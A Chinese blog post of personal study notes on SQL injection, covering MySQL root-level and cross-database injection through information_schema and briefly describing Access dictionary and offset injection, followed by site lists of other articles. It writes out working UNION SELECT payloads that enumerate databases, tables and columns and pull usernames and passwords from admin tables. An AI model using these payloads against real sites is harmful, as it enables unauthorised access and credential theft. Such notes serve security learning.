1、WEB攻防-通用漏洞&SQL注入&MYSQL跨库&ACCESS偏移

用途:个人学习笔记,欢迎指正!

前言:

为了网站和数据库的安全性,MYSQL 内置有 ROOT 最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。

MYSQL 两种思路:
ROOT 的注入攻击:常规类的猜解
ROOT 用户的注入攻击:文件读写操作,跨库查询注入等

SQL注入原理:

用户端提交的数据包中有可以控制的变量,而这个变量没有被过滤直接拼接到SQL语句中在数据库解析执行,从而通过构造这个变量使得拼接后的SQL语句可以额外对数据库做一些其他攻击操作。
或者说:sql 注入攻击是通过将恶意的 sql 查询或添加语句插入到应用的输入参数中,再在后台 sql 服务器上解析 执行进行的攻击。
黑盒测试中可以采用 user()获取当前用户权限,白盒中看连接用户即可!
select * from product where id=1513
select * from product where id=1513
查询 admin 表名:
UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
查询 admin 表名下的 admin 等列名
UNION select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema :存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables :记录表名信息的表
information_schema.columns :记录列名信息表
information_schema.tables
获取相关数据:
1 、数据库版本 - 看是否符合 information_schema 查询 -version()-5.5.532
2 、数据库用户 - 看是否符合 ROOT 型注入攻击 -user()-root@localhost
3 、当前操作系统 - 看是否支持大小写或文件路径选择 -@@version_compile_os-win
4 、数据库名字 - 为后期猜解指定数据库下的表,列做准备 -database()-syguestbook

一、ROOT 类型攻击-猜解数据,文件读写,跨库查询

获取 syguestbook 数据库下面的表名信息:

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='syguestbook'

获取表名 sy_adminuser 的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='sy_adminuser' and table_schema='syguestbook'

获取指定数据:

UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

二、跨库注入:实现当前网站跨库查询其他数据库对应网站的数据

获取当前 mysql 下的所有数据库名

UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

获取数据库名 xhcms 下的表名信息

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='xhcms'

获取数据库名 xhcms 下的表 manage 下的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='manage' and table_schema='xhcms'

获取指定数据:

UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage

三、小试牛刀 

 

#ASP+Access-简易注入-字典猜解

由于 Access 数据库特性导致这个 SQL 注入是需要借助字典去猜解表名和列名的,那么就会出现表名
或列名猜解不到,可以自定义社工字典或采用偏移注入!

#ASP+Access-偏移注入-报错显示

偏移注入就是解决表名已知,列名未知的情况!

 

最近更新

  1. TCP协议是安全的吗?

    2024-02-23 18:56:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-02-23 18:56:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-02-23 18:56:01       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-02-23 18:56:01       20 阅读

热门阅读

  1. 第1~8章 综合复习

    2024-02-23 18:56:01       28 阅读
  2. 信息安全基本概念汇总

    2024-02-23 18:56:01       29 阅读
  3. HarmonyOS | 状态管理(三) | @Link装饰器

    2024-02-23 18:56:01       33 阅读
  4. Rust语言教程

    2024-02-23 18:56:01       27 阅读
  5. FPGA本科生能找到工作吗?

    2024-02-23 18:56:01       29 阅读
  6. uniapp 如何嵌套H5 页面?

    2024-02-23 18:56:01       26 阅读
  7. js-前端存储之sessionStorage

    2024-02-23 18:56:01       31 阅读